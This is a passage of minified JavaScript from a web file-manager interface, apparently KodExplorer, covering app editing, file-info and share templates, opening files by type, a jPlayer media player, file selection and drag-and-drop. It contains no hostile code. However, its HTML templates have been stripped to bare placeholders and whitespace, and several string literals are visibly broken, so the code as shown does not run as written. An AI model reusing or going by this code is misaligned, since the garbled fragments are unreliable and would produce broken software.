input[name=resize]").attr("checked",!0),n.find("input[name=width]").attr("value","800"),n.find("input[name=height]").attr("value","600"),n.find("input[name=icon]").attr("value","oexe.png");break;case"root_edit":n.find("option[value="+i.group+"]").attr("selected",!0);break;default:}P(n)},D=function(){core.appStore()},F=function(e){e&&4>e.length&&"http"!=e.substring(0,4)||$.ajax({url:"./index.php?app/get_url_title&url="+e,dataType:"json",beforeSend:function(){Tips.loading()},success:function(i){var t=i.data;Tips.close(i);var a={content:e,type:"url",desc:"",group:"others",icon:"internet.png",name:t,resize:1,simple:0,height:"70%",width:"90%"},n=urlEncode(G.this_path+t);e="./index.php?app/user_app&action=add&path="+n,$.ajax({url:e,type:"POST",dataType:"json",data:{data:urlEncode(jsonEncode(a))},success:function(e){Tips.close(e),e.code&&ui.f5()}})}})};return{strSort:o,appEdit:E,appList:D,appAddURL:F,share:p,shareBox:u,setBackground:m,createLink:v,createProject:_,newFile:s,newFolder:r,rname:l,unZip:L,zipDownload:k,zip:w,copy:d,cute:g,info:y,remove:c,cuteDrag:N,copyDrag:C,past:b,clipboard:T,fav:j,favRemove:S}}),define("app/common/tpl/share.html",[],'
    \n
    \n
    {{LNG.share_title}}
    \n \n
    \n
    \n
    \n {{LNG.share_path}}:\n \n
    \n
    \n
    \n {{LNG.share_name}}:\n \n \n \n \n \n
    \n
    \n\n \n\n \n
    \n \n
    \n'),define("app/common/tpl/fileinfo/file_info.html",[],"
    \n {{if download_path}}\n
    \n
    {{LNG.download_address}}:
    \n
    \n \n
    \n \n \n
    \n
    \n
    \n
    \n {{/if}}\n\n
    \n
    \n
    {{LNG.address}}:
    \n
    {{path |window.htmlEncode}}
    \n
    \n
    \n
    \n
    {{LNG.size}}:
    \n
    {{size_friendly}} ({{size}} Byte)
    \n
    \n
    \n\n {{if file_md5}}\n
    \n
    MD5:
    \n
    {{file_md5}}
    \n
    \n
    \n {{/if}}\n\n {{if image_size}}\n
    \n
    {{LNG.image_size}}:
    \n
    {{image_size.width}} × {{image_size.height}}
    \n
    \n
    \n {{/if}}\n\n
    \n
    \n
    {{LNG.create_time}}
    \n
    {{ctime}}
    \n
    \n
    \n
    \n
    {{LNG.modify_time}}
    \n
    {{mtime}}
    \n
    \n
    \n
    \n
    {{LNG.last_time}}
    \n
    {{atime}}
    \n
    \n
    \n\n \n
    \n
    \n
    {{LNG.permission}}:
    \n
    {{mode}}
    \n
    \n
    \n {{if is_root==\"1\"}}\n
    \n
    {{LNG.permission_edit}}:
    \n
    \n
    \n
    \n
    \n {{/if}}\n
    \n"),define("app/common/tpl/fileinfo/path_info.html",[],"
    \n
    \n
    {{LNG.address}}:
    \n
    {{path |window.htmlEncode}}
    \n
    \n
    \n
    \n
    {{LNG.size}}:
    \n
    {{size_friendly}} ({{size}} Byte)
    \n
    \n
    \n
    \n
    {{LNG.contain}}:
    \n
    {{file_num}} {{LNG.file}},{{folder_num}} {{LNG.folder}}
    \n
    \n
    \n
    \n
    \n
    {{LNG.create_time}}
    \n
    {{ctime}}
    \n
    \n
    \n
    \n
    {{LNG.modify_time}}
    \n
    {{mtime}}
    \n
    \n
    \n
    \n
    {{LNG.last_time}}
    \n
    {{atime}}
    \n
    \n
    \n
    \n
    \n
    {{LNG.permission}}:
    \n
    {{mode}}
    \n
    \n
    \n {{if is_root==\"1\"}}\n
    \n
    {{LNG.permission_edit}}:
    \n
    \n
    \n
    \n
    \n {{/if}}\n
    \n"),define("app/common/tpl/fileinfo/path_info_more.html",[],"
    \n
    \n
    {{LNG.info}}:
    \n
    \n {{file_num}} {{LNG.file}},{{folder_num}} {{LNG.folder}}
    \n
    \n
    \n
    \n
    \n
    {{LNG.size}}:
    \n
    {{size_friendly}} ({{size}} Byte)
    \n
    \n
    \n \n
    \n
    \n
    {{LNG.permission}}:
    \n
    {{mode}}
    \n
    \n
    \n {{if is_root==\"1\"}}\n
    \n
    {{LNG.permission_edit}}:
    \n
    \n
    \n
    \n
    \n {{/if}}\n
    \n"),define("app/common/tpl/app_edit.html",[],"
    \n
    \n
    {{LNG.name}}
    \n
    \n
    \n
    \n
    \n
    {{LNG.app_desc}}
    \n
    \n
    \n
    \n
    \n
    {{LNG.app_icon}}
    \n
    \n \n
    \n
    \n
    \n
    \n
    {{LNG.app_group}}
    \n
    \n
    \n
    \n
    \n
    {{LNG.app_type}}
    \n
    \n \n \n \n \n \n \n
    \n
    \n
    \n
    \n
    {{LNG.app_display}}
    \n
    \n \n \n \n \n
    \n
    \n
    \n
    \n
    {{LNG.app_size}}
    \n
    \n ({{LNG.width}})  \n ({{LNG.height}})\n\n \n \n
    \n
    \n
    \n
    \n \n \n
    {{LNG.app_url}}
    \n
    \n
    \n
    \n
    \n"),define("app/common/pathOpen",["./myPlayer"],function(e){var i=function(e,i){if(void 0!=e){if(!core.pathReadable(e))return Tips.tips(LNG.no_permission_read_all,!1),core.playSound("error"),void 0; -if("folder"==i)return"explorer"==Config.pageApp?ui.path.list(e+"/"):core.explorer(e),void 0;if("oexe"!=i){if(i=core.pathExt(e),"swf"==i)return $.dialog({resize:!0,fixed:!0,ico:core.icon("swf"),title:core.pathThis(e),width:"75%",height:"65%",padding:0,content:core.createFlash(core.path2url(e))}),void 0;if("url"==i)return core.fileGet(e,function(i){var t=i.match(/URL=(.*)/);t.length>=2?window.open(t[1]):s(e)}),void 0;if("webloc"==i)return core.fileGet(e,function(i){try{var t=$($.parseXML(i)),a=t.find("string").text();window.open(a)}catch(n){s(e)}}),void 0;if("html"==i||"htm"==i){var a=core.path2url(e);return core.openDialog(a,core.icon("html"),core.pathThis(e)),void 0}if(inArray(core.filetype.image,i)){var a=e;return-1==a.indexOf("http:")&&(a=core.path2url(a)),MaskView.image(a),void 0}if(inArray(core.filetype.music,i)||inArray(core.filetype.movie,i)){var a=core.path2url(e,!1);return d(a,i),void 0}return"pdf"==i?(core.fileLink(e,function(t){var a="./lib/plugins/pdfjs/web/viewer.html?file="+urlEncode(t);if(canvasSupport())core.openDialog(a,core.icon(i),htmlEncode(core.pathThis(e)));else{var n="pdf"+UUID(),o='";$.dialog({resize:!0,fixed:!0,ico:core.icon(i),title:core.pathThis(e),width:800,height:400,padding:0,content:o}),new PDFObject({url:t}).embed(n)}}),void 0):inArray(core.filetype.doc,i)?(l(e),void 0):inArray(core.filetype.text,i)?(s(e),void 0):("editor"==Config.pageApp?Tips.tips(i+LNG.edit_can_not,!1):t(e,""),void 0)}if("string"==typeof e){var n=e;"string"!=typeof e&&(n=e.content.split("'")[1]),core.fileGet(n,function(e){var i=jsonDecode(e);i.name=core.pathThis(n),core.openApp(i)})}else core.openApp(e)}},t=function(e,i){var t='
    '+LNG.unknow_file_tips+"
    "+i+"

    "+' "+LNG.edit+"  "+' "+LNG.unknow_file_download+"
    ";$.dialog({id:"open_unknow_dialog",fixed:!0,icon:"warning",title:LNG.unknow_file_title,padding:30,content:t,cancel:!0}),$(".unknow_file a").unbind("click").bind("click",function(){$.dialog.list.open_unknow_dialog.close()})},a=function(e){$.dialog({icon:"succeed",title:!1,time:2,content:LNG.download_ready+"..."}),$('').appendTo("body")},n=function(e){if(core.authCheck("explorer:fileDownload",LNG.no_permissiondownload)&&e){if(!core.pathReadable(e))return Tips.tips(LNG.no_permission_read_all,!1),core.playSound("error"),void 0;var i="index.php?explorer/fileDownload&path="+urlEncode(e);G.share_page!==void 0&&(i="index.php?share/fileDownload&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(e)),a(i)}},o=function(e){if(void 0!=e){if(!core.pathReadable(e))return Tips.tips(LNG.no_permission_read_all,!1),core.playSound("error"),void 0;var i=core.path2url(e);window.open(i)}},s=function(e){if(e){if(!core.pathReadable(e))return Tips.tips(LNG.no_permission_read_all,!1),core.playSound("error"),void 0;var t=core.pathExt(e);return"Win32"==navigator.platform||"Windows"==navigator.platform,inArray(core.filetype.doc,t)?(l(e,!0),void 0):(core.pathThis(e),inArray(core.filetype.bindary,t)||inArray(core.filetype.music,t)||inArray(core.filetype.image,t)||inArray(core.filetype.movie,t)||inArray(core.filetype.doc,t)?(i(e,t),void 0):(r(e),void 0))}},r=function(e){var i=ShareData.frameTop();if(i.Editor!==void 0)return i.Editor.add(urlEncode(e)),void 0;if("editor"==Config.pageApp)return ShareData.frameChild("OpenopenEditor",function(i){i.Editor.add(urlEncode(e))}),void 0;if(ShareData.frameTop("OpenopenEditor")){var t=i.$.dialog.list.openEditor,a=0;t&&("hidden"==$("."+t.config.id).css("visibility")&&(a=200),t.display(!0).zIndex().focus()),setTimeout(function(){ShareData.frameTop("OpenopenEditor",function(i){i.Editor.add(urlEncode(e))})},a)}else{var n="./index.php?editor/edit#filename="+urlEncode(e);G.share_page!==void 0&&(n="./index.php?share/edit&user="+G.user+"&sid="+G.sid+"#filename="+urlEncode(e)),core.openDialog(n,core.icon("edit"),htmlEncode(e),"openEditor")}},l=function(e,i){var t="./index.php?explorer/officeView&path="+urlEncode(e);G.share_page!==void 0&&(t=G.app_host+"index.php?share/officeView&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(e)),i!==void 0&&(t+="&is_edit=1"),core.openDialog(t,core.icon(core.pathExt(e)),htmlEncode(core.pathThis(e)))},c=function(i,t){if(i){"string"==typeof i&&(i=[i]);var a=e("./myPlayer");a.play(i,t)}},d=function(e,i){var t=ShareData.frameTop();t.ui.pathOpen.playerInstance(e,i)};return{open:i,playerInstance:c,play:d,openEditor:s,openEditorForce:r,openWindow:o,downloadUrl:a,download:n}}),define("app/common/myPlayer",[],function(e){var i="",t="",a="music_player",n="movie_player",o=function(e){var n=e==a?"mp3":"mp4",o="."+e+"_dialog",s=i,l={width:"70%",height:"60%"};e==a&&(s=t,l={width:"320px",height:"420px"});var c=$.dialog({id:e+"_dialog",simple:!0,ico:core.icon(n),title:"player",width:l.width,height:l.height,content:s,resize:!0,padding:0,fixed:!0,close:function(){var i=r(e);i.jPlayer("destroy")}});return c.DOM.wrap.addClass("myJPlayer"),$(o).find(".jPlayer-container")},s=function(e){return"music"==e?a:(void 0==e&&(e="mp3"),inArray(core.filetype.music,e)?a:n)},r=function(e){var i="."+e+"_dialog",t=$(i);return 0==t.length?!1:t.find(".jPlayer-container")},l=function(e,i){i&&"music"!=i||(i=core.pathExt(e));var t={mp4:"m4v",m4v:"m4v",mov:"m4v",ogv:"ogv",webm:"webmv",webmv:"webmv",flv:"flv",f4v:"flv",f4a:"flv",mp3:"mp3",wav:"wav",m4a:"mp3",aac:"mp3",ogg:"oga",oga:"oga",webma:"webma"},a=t[i],n={extType:a,title:core.pathThis(urlDecode(e)),url:e,solution:"flv"==i||"f4v"==i?"flash":"html,flash"};return n[a]=e,n},c=function(e,i){if(i){var t=e.parents(".jPlayer"),a={solution:i.solution,swfPath:G.static_path+"js/lib/jPlayer/jquery.jplayer.swf"};t.attr("id",UUID()),e.jPlayer("destroy"),e.find(".jPlayer-container").children().remove(),e.jPlayer(jPlayerConfigInit(t,a)),e.find("object").length>0?t.addClass("flashPlayer"):t.removeClass("flashPlayer"),e.jPlayer("setMedia",i),setTimeout(function(){e.jPlayer("play")},150),jPlayerBindControl(t),setTimeout(function(){var e=t.parents(".dialog-simple").find(".aui_titleBar").attr("id"),a=$.dialog.list[e];a&&a.title(i.title)},100)}},d=function(e,i){var t=s(i),n=r(t),d=l(e[0],i);n||(n=o(t),t==a&&p.init()),t==a&&(d=p.insert(n,e,i)),c(n,d);try{$.dialog.list[t+"_dialog"].display(!0)}catch(u){}},p=function(){var e=[],i=0,t=null,a="circle",n=function(a,n){t=a;for(var s=e.length,r=0;n.length>r;r++){var c=!1,d=0;for(d=0;e.length>d;d++)if(e[d].url==n[r]){c=!0;break}if(c){if(r==n.length-1)return i!=d&&o(d),!1}else{var p=core.pathExt(n[r]);inArray(core.filetype.music,p)&&e.push(l(n[r],p))}}return e.length==s?!1:(i=e.length-1,u(!0),e[i])},o=function(a){a=0>=a?0:a,a=a>=e.length-1?e.length-1:a,i=a;var n=e[a];c(t,n),u(!1)},s=function(t){switch(a){case"circle":"next"==t?e.length-1>i?o(i+1):o(0):0>i-1?o(e.length-1):o(i-1);break;case"rand":o(roundFromTo(0,e.length)-1);break;case"one":o(i);break;default:}},r=function(i){e.remove(i),o(i),u(!0)},d=function(i){var t=e[i],a=t.url+"&download=1";ui.pathOpen.downloadUrl(a)},p=function(){i=0,e=[],a="circle";var t=$(".jPlayer-music"),n=[{icon:"icon-retweet",loop:"circle"},{icon:"icon-random",loop:"rand"},{icon:"icon-refresh loop-one",loop:"one"}];t.find(".change-loop").unbind("click").bind("click",function(){var e=parseInt($(this).attr("data-loop"))+1;e=0>e?0:e,e=e>=n.length?0:e;var i=n[e];$(this).attr("data-loop",e).find("i").attr("class",i.icon),a=i.loop}),t.find(".play-backward").unbind("click").bind("click",function(){s("prev")}),t.find(".play-forward").unbind("click").bind("click",function(){s("next")}),t.find(".show-list").unbind("click").bind("click",function(e){t.parents(".music_player_dialog").toggleClass("hide-play-list"),stopPP(e)}),t.find(".play-list .item").die("click").live("click",function(e){var i=$(this).index();o(i),stopPP(e)}),t.find(".play-list .remove").die("click").live("click",function(e){var i=$(this).parents(".item"),t=i.index();return i.remove(),r(t),stopPP(e),!1}),t.find(".play-list .download").die("click").live("click",function(e){var i=$(this).parents(".item").index();return d(i),stopPP(e),!1})},u=function(a){var n=$(t).parents(".jPlayer");if(a){var o="";$.each(e,function(e,i){o+='
  • '+i.title+'
  • '}),n.find(".play-list .content").html(o)}return 0!=e.length&&e[i]?(n.find(".item-title").html(e[i].title),n.find(".item").removeClass("this"),n.find(".item:eq("+i+")").addClass("this"),f(n.find(".player-bg")),void 0):(i=0,n.find(".item-title").html("  "),t.jPlayer("destroy"),t.find(".jPlayer-container").children().remove(),void 0)},f=function(e){var i=h(),t=h(),a="160deg",n="background-image: -webkit-linear-gradient("+a+", "+i+", "+t+"); background-image: -moz-linear-gradient("+a+", "+i+", "+t+"); background-image: -o-linear-gradient("+a+", "+i+", "+t+"); background-image: -ms-linear-gradient("+a+", "+i+", "+t+"); background-image: linear-gradient("+a+", "+i+", "+t+");";e.attr("style",n)},h=function(){return"#"+(16777215*Math.random()<<0).toString(16)};return{insert:n,init:p}}(),u=function(a,o){var r=s(o);r==n?e.async(["lib/jPlayer/kod.flat/movie.html","lib/jPlayer/jquery.jplayer.min.js","lib/jPlayer/kod.flat/control.js","lib/jPlayer/kod.flat/style.css"],function(e){i=e,d(a,o)}):e.async(["lib/jPlayer/kod.flat/music.html","lib/jPlayer/jquery.jplayer.min.js","lib/jPlayer/kod.flat/control.js","lib/jPlayer/kod.flat/style.css"],function(e){t=e,d(a,o)})},f=function(i,t){e.async(["lib/jPlayer/jquery.jplayer.min.js"],function(){var e={solution:"html,flash",swfPath:G.static_path+"js/lib/jPlayer/jquery.jplayer.swf",media:{title:"",mp3:i},ready:function(){t.jPlayer("setMedia",e.media).jPlayer("play")}};t.jPlayer("destroy").children().remove(),t.jPlayer(e)})};return{play:u,playSound:f}}),define("app/src/explorer/tpl/file_create.html",[],"
    \n {{if list_type=='list'}}{{/if}}\n
    \n \n {{if type=='folder'}}\n
    {{\"folder\" | core.icon}}
    \n {{else}}\n
    {{ext | core.icon}}
    \n {{/if}}\n
    \n {{if list_type=='icon'}}\n \n {{else}}\n \n {{/if}}\n
    \n
    \n
    \n
    \n
    \n"),define("app/src/explorer/fileLight",[],function(){var e=$(),i=$(),t=function(){var e;e="list_split"!=G.user_config.list_type?$(".bodymain .fileContiner .file"):$(".bodymain .fileContiner .split_select .file"),i=e,f("clear"),n()},a=function(){var i=$(Config.SelectClass);e=i,i.length>1&&c(i),f("menufile"),o()},n=function(){if(G.json_data&&G.json_data.filelist){var e=G.json_data.filelist.length+G.json_data.folderlist.length;$(".file_select_info .item_num").html(e+LNG.folder_info_item)}},o=function(){var i="",t=0,a=e;0!=a.length&&(i=a.length+LNG.folder_info_item_select,a.each(function(){t+=parseInt($(this).attr("data-size"))}),0!=t&&(i=i+" ("+core.fileSize(t)+")")),$(".file_select_info .item_select").html(i)},s=function(i){var t=e;if(void 0==i&&t&&t.length>=1&&(i=$(t[t.length-1])),void 0!=i&&!i.inScreen()){var a=$(".bodymain");"list_split"==G.user_config.list_type&&(a=i.parent());var n=i.offset().top-a.offset().top-a.height()/2+a.scrollTop();a.stop(!0).animate({scrollTop:n},100)}},r=function(e){return core.pathThis(h(e))},l=function(e){return e.find(".ico").attr("filetype")},c=function(e){if(G.json_data.info)switch(G.json_data.info.path_type){case G.KOD_USER_RECYCLE:return;case G.KOD_USER_FAV:return e.removeClass("menuFavPath").addClass("menuFavPathMore"),void 0;case G.KOD_USER_SHARE:if(-1==trim(G.this_path,"/").search("/"))return e.removeClass("menuSharePath").addClass("menuSharePathMore"),void 0;case G.KOD_GROUP_ROOT_SELF:case G.KOD_GROUP_ROOT_ALL:return e.removeClass("menuGroupRoot").addClass("menuGroupRootMore"),void 0;default:}e.removeClass("menufile menufolder").addClass("menuMore"),f()},d=function(e){var i={fileBox:"menufile",folderBox:"menufolder",menuRecyclePath:"menuRecyclePath",menuSharePathMore:"menuSharePath",menuFavPathMore:"menuFavPath",menuGroupRootMore:"menuGroupRoot",menuDefault:"menuDefault"};e.removeClass("menuMore");for(var t in i)e.hasClass(t)&&e.addClass(i[t]);f()},p=function(){var i=[];if(0!=e.length)return e.each(function(){i.push(h($(this)))}),i},u=function(){if(0!=e.length){var i=e;i.removeClass(Config.SelectClassName),i.each(function(){d($(this))}),e=$(),f(),o()}},f=function(){0==e.length?($(".drop-menu-action li").addClass("disabled"),$(".drop-menu-action #past").removeClass("disabled"),$(".drop-menu-action #info").removeClass("disabled"),$(".kod_path_tool #download").addClass("disabled")):($(".drop-menu-action li").removeClass("disabled"),$(".kod_path_tool #download").removeClass("disabled"),e.length>1?$(".drop-menu-action").find("#open,#rname,#past,#share,#createLink,#add_to_fav").addClass("disabled"):$(".drop-menu-action").find("#open,#rname,#past,#share,#createLink,#add_to_fav").removeClass("disabled"))},h=function(e,i){return void 0==i&&(i="data-path"),void 0!=e.attr("data-path-children")&&(i="data-path-children"),pathHashDecode(e.attr(i))};return{init:t,name:r,path:h,type:l,fileListSelect:function(i){return i&&(e=i),e},fileListAll:function(e){return e&&(i=e),i},select:a,setInView:s,setMenu:c,resumeMenu:d,getAllName:p,clear:u,menuAction:f}}),define("app/src/explorer/fileSelect",[],function(){var e=!1,i=!1,t=!1,a=function(){$(Config.FileBoxClass).die("touchstart").live("touchstart",function(){$(this).hasClass("select")?ui.path.open():(ui.fileLight.clear(),$(this).removeClass("select"),$(this).addClass("select"),ui.fileLight.select())});var a=function(e){!e.hasClass(Config.TypeFolderClass)&&!e.hasClass("menuRecycleButton")||e.hasClass(Config.SelectClassName)||($(".selectDragTemp").removeClass("selectDragTemp"),e.addClass("selectDragTemp"))},l=function(){};$(Config.FileBoxClass).die("mouseenter").live("mouseenter",function(){i&&a($(this)),e||i||$(this).addClass(Config.HoverClassName),l($(this)),$(this).unbind("mousedown").bind("mousedown",function(e){if($(e.target).is("input")||$(e.target).is("textarea"))return!0;if($(this).focus(),rightMenu.hidden(),$(e.target).parents(".children_more").length>0)return ui.fileContent.pathChildrenTree($(this)),stopPP(e),!1;if(!(e.ctrlKey||e.metaKey||e.shiftKey||$(this).hasClass(Config.SelectClassName)))return ui.fileLight.clear(),$(this).addClass(Config.SelectClassName),ui.fileLight.select(),!0;if(3!=e.which||$(this).hasClass(Config.SelectClassName)||(ui.fileLight.clear(),$(this).addClass(Config.SelectClassName),ui.fileLight.select()),(e.ctrlKey||e.metaKey)&&($(this).hasClass(Config.SelectClassName)?t=!0:(ui.fileLight.setMenu($(this)),$(this).addClass(Config.SelectClassName)),ui.fileLight.select()),e.shiftKey){var i=h.fileListAll($(this)),a=h.fileListSelect($(this)),n=i.index($(this));if(0==a.length)x(0,n,i);else{var o=i.index(a.first()),s=i.index(a.last());o>n?x(n,s,i):n>s?x(o,n,i):x(o,n,i)}}return!0}).unbind("mouseup").bind("mouseup",function(){return $(".selectDragTemp").removeClass("selectDragTemp"),!0})}).die("mouseleave").live("mouseleave",function(){$(this).removeClass(Config.HoverClassName),i&&$(this).removeClass("selectDragTemp")}).die("click").live("click",function(e){return stopPP(e),i?!1:(0==$(this).find(".textarea").length&&0==$(".file-draging-box").length&&(e.ctrlKey||e.metaKey||e.shiftKey?(e.ctrlKey||e.metaKey)&&t&&(t=!1,ui.fileLight.resumeMenu($(this)),$(this).removeClass(Config.SelectClassName),ui.fileLight.select()):(ui.fileLight.clear(),$(this).addClass(Config.SelectClassName),ui.fileLight.select(),r($(this)))),void 0)}).die("dblclick").live("dblclick",function(e){if(!($(e.target).is("textarea")||$(e.target).is("input")||$(e.target).hasClass("children_more")||$(e.target).hasClass("children_more_cert")))if(e.altKey)ui.path.info();else{if(1!=ui.fileLight.fileListSelect().length)return;if("list_split"==G.user_config.list_type&&s($(this))){var i=ui.fileLight.path($(this));return G.this_path="",$(".fileList_list_split .split_box").remove(),ui.path.list(i),void 0}ui.path.open()}}),n(),o()},n=function(){var e;$("#folderList a").die("mouseenter").live("mouseenter",function(){if(i){$(this).hasClass("menuTreeFolder")&&$(this).addClass("curDropTreeNode"),clearTimeout(e),e=!1;var t=ui.tree.zTree(),a=t.getNodeByTId($(this).parent().attr("id"));!a.open&&a.isParent&&(e=setTimeout(function(){t.expandNode(a,!0)},600))}}).die("mouseup").live("mouseup",function(){if(i){$(this).removeClass("curDropTreeNode"),clearTimeout(e),e=!1;var t=ui.tree.zTree(),a=t.getNodeByTId($(this).parent().attr("id"));setTimeout(function(){a.isParent=!0,t.reAsyncChildNodes(a,"refresh")},100)}}).die("mouseleave").live("mouseleave",function(){i&&($(this).removeClass("curDropTreeNode"),clearTimeout(e),e=!1)})},o=function(){$(".header-middle .yarnlet a").die("mouseenter").live("mouseenter",function(){i&&$(this).addClass("curDropToPath")}).die("mouseup").live("mouseup",function(){i&&$(this).removeClass("curDropToPath")}).die("mouseleave").live("mouseleave",function(){i&&$(this).removeClass("curDropToPath")})},s=function(e){return"icon"==G.user_config.list_type?e.hasClass("folderBox")||e.hasClass("menuRecycleButton")?!0:!1:"list"==G.user_config.list_type?e.hasClass("folderBox")||e.hasClass("menuRecycleButton")||0!=e.find(".children_more_cert").length?!0:!1:"list_split"==G.user_config.list_type?e.hasClass("folderBox")||e.hasClass("menuRecycleButton")||0!=e.find(".children_more_cert").length?!0:!1:void 0},r=function(e){if("list_split"==G.user_config.list_type&&s(e)&&1==ui.fileLight.fileListSelect().length){var i=ui.fileLight.path(e);ui.path.history.add(i),ui.fileContent.pathChildrenSplit(i,function(){c(i)})}},l=function(){var e=".fileList_list_split .split_box",i="split_hover";$(e).live("mouseenter",function(){$(e).removeClass(i),$(this).addClass(i)}).die("mouseleave").live("mouseleave",function(){$(this).removeClass(i)}).die("click").live("click",function(){c(ui.fileLight.path($(this)))}).die("mousedown").live("mousedown",function(e){var i=$(e.target).parents(".file");(0==i.length||0==i.find(".children_open").length)&&c(ui.fileLight.path($(this)))})},c=function(e){var i=$(".fileList_list_split .split_box"),t=$('.fileList_list_split .split_box[data-path="'+pathHashEncode(e)+'"]'),a=$('.fileList_list_split .split_box .file[data-path="'+pathHashEncode(e)+'"]'),n="split_select";0==t.length&&(t=i.last()),i.removeClass(n),t.addClass(n),0==ui.fileLight.fileListSelect().length&&a.addClass("select"),ui.fileLight.select();var o=t.data("jsonData");o&&e&&(ui.fileContent.pathTypeChange(o),G.this_path=e,G.json_data=o,ui.headerAddress.addressSet()),ui.fileLight.init()},d=function(e){return e.hasClass("menuSharePath")||e.hasClass("systemBox")?!1:!0},p=function(){var t,a,n,o=150,s=!1,r=!1,l=0,c=!1,p=-15,u=10,f=0,h=0,m="selectDragDraging";$(Config.FileBoxClass).die("mousedown").live("mousedown",function(i){if(!i.shiftKey){if(ui.isEdit())return!0;if(1!=i.which||e)return!0;t=$(this),d(t)&&(g(i),$.browser.mozilla||this.setCapture&&this.setCapture(),$(document).mousemove(function(e){b(e)}),$(document).keydown(function(e){b(e)}),$(document).keyup(function(e){b(e)}),$(document).one("mouseup",function(e){k(e),this.releaseCapture&&this.releaseCapture()}))}});var v,_,g=function(e){rightMenu.hidden(),i=!0,l=$.now(),f=e.pageY,h=e.pageX,a=$(document).height(),n=$(document).width(),r=$(e.target).parents(".file")},b=function(e){if(!i)return!0;if(window.getSelection?window.getSelection().removeAllRanges():document.selection.empty(),$.now()-l>o&&!c&&(w(),s=$(".draggable-dragging"),s.attr("data-beforeInfo",s.find("span").html())),c){var t=e.clientX>=n-50?n-50:e.clientX,r=e.clientY>=a-50?a-50:e.clientY;return t=0>=t?0:t,r=0>=r?0:r,t-=p,r-=u,s.css({left:t,top:r}),y(e),z(t-h+p,r-f+u),!0}},y=function(e){clearTimeout(v),v=!1,v=setTimeout(function(){try{x(e)}catch(i){}},10)},x=function(e){var i=e.ctrlKey||e.metaKey,t=function(e,i){G.sid!==void 0&&(e="none"),void 0!=i&&0!==i.search(G.KOD_GROUP_PATH)&&0!==i.search(G.KOD_USER_RECYCLE)&&core.isSystemPath(i)&&(e="clear");var t=htmlEncode(core.pathThis(i)),a=" "+s.attr("data-beforeInfo").replace(/<[^<>]+>/g,""),n={copy_to:''+LNG.copy_to+'"'+t+'"',move_to:''+LNG.cute_to+'"'+t+'"',remove:''+LNG.remove+a+"",share:''+LNG.share+a+"",none:''+LNG.no_permission_write+"",clear:s.attr("data-beforeInfo")};i==G.this_path&&(n.copy_to=''+LNG.clone+""),s.find("span").html(n[e]),s.attr("data-actionType",e),s.attr("data-actionPath",i)};if(0!=$(".selectDragTemp").length||0!=$(".curDropTreeNode").length||0!=$(".curDropToPath").length){var a=ui.fileLight.path($(".selectDragTemp"));if(0!=$(".curDropTreeNode").length){var n=ui.tree.zTree(),o=n.getNodeByTId($(".curDropTreeNode").parent().attr("id"));a=o.path}0!=$(".curDropToPath").length&&(a=$(".curDropToPath").attr("title")),$(".selectDragTemp").hasClass("menuRecycleButton")?t("remove"):i?t("copy_to",a):t("move_to",a)}else if(0!=$(".recycle_hover").length)t("remove");else if(0!=$(".share_hover").length&&1>=ui.fileLight.fileListSelect().length)t("share");else if(i){var a=G.this_path;"list_split"==G.user_config.list_type&&0!=$(".split_hover").length&&(a=ui.fileLight.path($(".split_hover"))),t("copy_to",a)}else"list_split"!=G.user_config.list_type||0==$(".split_hover").length||$(".split_hover").hasClass("split_select")?t("clear"):t("move_to",ui.fileLight.path($(".split_hover")))},k=function(){if(!i)return!1;if(i=!1,c=!1,$("body").removeClass(m),s){s.addClass("animated-300").addClass("flipOutXLine").fadeOut(200,function(){s.remove(),s=!1});var e=function(e,i){switch(e){case"copy_to":ui.path.copyDrag(i,!0);break;case"move_to":ui.path.cuteDrag(i);break;case"remove":ui.path.remove(!0);break;case"share":ui.path.share();break;default:}},t=s.attr("data-actionType");-1!=$.inArray(t,["copy_to","move_to","remove","share"])?P(!1):P(!0),e(t,s.attr("data-actionPath"))}},w=function(){$("body").addClass(m);var e=ui.fileLight.fileListSelect().length;$('
    '+e+'
    '+e+" "+LNG.file+"
    ").appendTo("body"),c=!0,setTimeout(j,20)},L=0,N=5,C=35,T=20,S=60,j=function(){clearTimeout($(".file-draging-box").data("removeDelay")),$(".file-draging .file").stop(),$(".file-draging-box").remove();var e={icon:"fileList_icon",list:"fileList_list",list_split:"fileList_list_split"},i=e[G.user_config.list_type];$("
    ").appendTo("body"),_=$(Config.SelectClass).filter("[data-path!='']");var t=_.clone();(_.length>=S||$.browser.msie)&&(t=r.clone()),t.appendTo(".file-draging"),t.each(function(e){var i=$(".bodymain .fileContiner .file[data-path='"+$(this).attr("data-path")+"']"),a=i.offset();$(this).css({left:a.left,top:a.top,width:i.width()}),$(this).data({"data-left":a.left,"data-top":a.top,"data-animateTime":200+e*N,"data-sizeAdd":L*e}),$(this).attr("data-path")==r.attr("data-path")&&$(this).addClass("handle_target"),1==t.length&&($(this).data({"data-animateTime":0}),T=0)}),_.addClass("item-file-draging");var a=setTimeout(function(){$(".file-draging-box").data("animate","finished");var e=$(".draggable-dragging");t.each(function(){var i=$(this),t=$(this).data("data-sizeAdd"),a=$(this).data("data-animateTime");$(this).data("status","ready"),$(this).animate({opacity:1},{duration:a,easing:"swing",progress:function(a,n){var o=i.offset(),s=e.offset(),r=(s.left+t-o.left)*n,l=(s.top+t+C-o.top)*n;i.css({left:o.left+r,top:o.top+l})},complete:function(){i.data("status","finished")}})})},T);$(".file-draging-box").data("dragDelay",a),$(".file-draging-box").data("animate","ready")},z=function(e,i){return"finished"!=$(".file-draging-box").data("animate")?($(".file-draging .file").each(function(){$(this).css({left:$(this).data("data-left")+e,top:$(this).data("data-top")+i})}),void 0):($(".file-draging .file").each(function(){if("finished"==$(this).data("status")){var e=$(this).data("data-sizeAdd"),i=$(".draggable-dragging").offset();$(this).css({left:i.left+e,top:i.top+e+C})}}),void 0)},P=function(e){var i=$(".file-draging .file").length;clearTimeout($(".file-draging-box").data("dragDelay")),$(".file-draging .file").each(function(i){var t=i*N,a=$(".bodymain .fileContiner .file[data-path='"+$(this).attr("data-path")+"']");e?$(this).stop().animate({left:$(this).data("data-left"),top:$(this).data("data-top")},250+t,function(){_.removeClass("item-file-draging")}).animate({opacity:0},150,function(){$(this).remove()}):(a.stop().animate({opacity:1},100),$(this).stop().animate({opacity:0},200+t,function(){$(this).remove()}))});var t=setTimeout(function(){$(".file-draging-box").remove()},400+N*i);$(".file-draging-box").data("removeDelay",t)}},u=function(){var t=null,a=null,n=null,o=0,s=0,r=0,l=0,c="",d="bodymain";"desktop"==Config.pageApp&&(d="fileContiner");var 